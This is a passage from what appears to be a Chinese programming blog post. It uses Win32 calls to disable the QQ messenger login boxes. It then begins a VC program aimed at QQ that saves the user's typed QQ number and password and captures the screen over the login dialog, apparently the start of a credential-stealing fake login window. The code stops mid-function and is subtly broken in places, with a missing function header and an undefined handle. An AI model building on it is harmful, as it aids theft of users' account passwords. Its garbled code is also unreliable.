从屏蔽QQ登录输入框温习几个c++函数

从屏蔽QQ登录输入框温习几个c++函数

先看c++ builder的代码：
void__fastcall TForm1::FormCreate(TObject*Sender)
{
HWND hCurWindow,HC,HE;
//定义三个窗口句柄变量，hCurWindow用于存放QQ用户登录窗口的句柄，HC,HE分别存放号码框和密码框的句柄
if((hCurWindow=FindWindow(Null,"QQ用户登录"))!=0)
{
//调用FindWindow()函数去获得QQ登录窗口的句柄
     string str;
     str.sprintf("0x%x",hCurWindow);
}
TCHAR wClassName[255];
//类名变量
HC=GetWindow(hCurWindow,GW_CHILD);
//得到号码框的句柄
HE=GetWindow(HC,GW_HWNDNEXT);
//得到密码框的句柄
GetClassName(HE,wClassName,sizeof(wClassName));
//得到类名
GetClassName(HC,wClassName,sizeof(wClassName));
//得到类名
EnableWindow(HE,false);
//使窗口失效
EnableWindow(HC,false);
//使窗口失效
EnableWindow()是个关键的函数，前面是为这个函数做铺垫的，关键是要获得框的句柄，如果FindWindow()和GetWindow()其中一个函数被HOOK的话，那么屏蔽输入框就没有效果了。这几个函数在VC里面同样可以用。
FindWindow()函数有一个特性：一次只运行一个程序实例，如果已运行则退出。
代码例：if( FindWindow(NULL,"程序标题")) exit(0);
------------------------------------------------------------------------------------------------------------------------------
再列出VC利用这个函数的实例，也是针对QQ的，代码如下：
#include <afx.h>
#include <tlhelp32.h>
#include "resource.h"

HBITMAP g_pBitmap;    //保存截取的屏幕图像
char qqpass[64] = "\0";    //保存用户输入的QQ密码
char qqid[64] = "\0";    //保存用户输入的QQ号码
HFONT myfont;
RECT g_qqIDRt, g_qqPassRt, g_qqLogin, g_qqCancel, g_DlgRt;    //保存QQ号码，密码，登陆，取消等窗口的区域
HWND QQID = NULL, QQPASS =NULL;
HWND g_hWnd = NULL;
//获取屏幕分辩率
int m_xScreen = GetSystemMetrics(SM_CXSCREEN);
int m_yScreen = GetSystemMetrics(SM_CYSCREEN);


BOOL CreateQQItem(HWND hWnd);
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID);
void QQFind();
HBITMAP CopyScreenToBitmap(LPRECT lpRect);

//根据进程ID得到进程名称

{

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hSnapshot, &pe)) {
        return FALSE;
    }
    while (Process32Next(hSnapshot, &pe)) {
        if (pe.th32ProcessID == PID) {
            strcpy(lpszProcessName, pe.szExeFile);
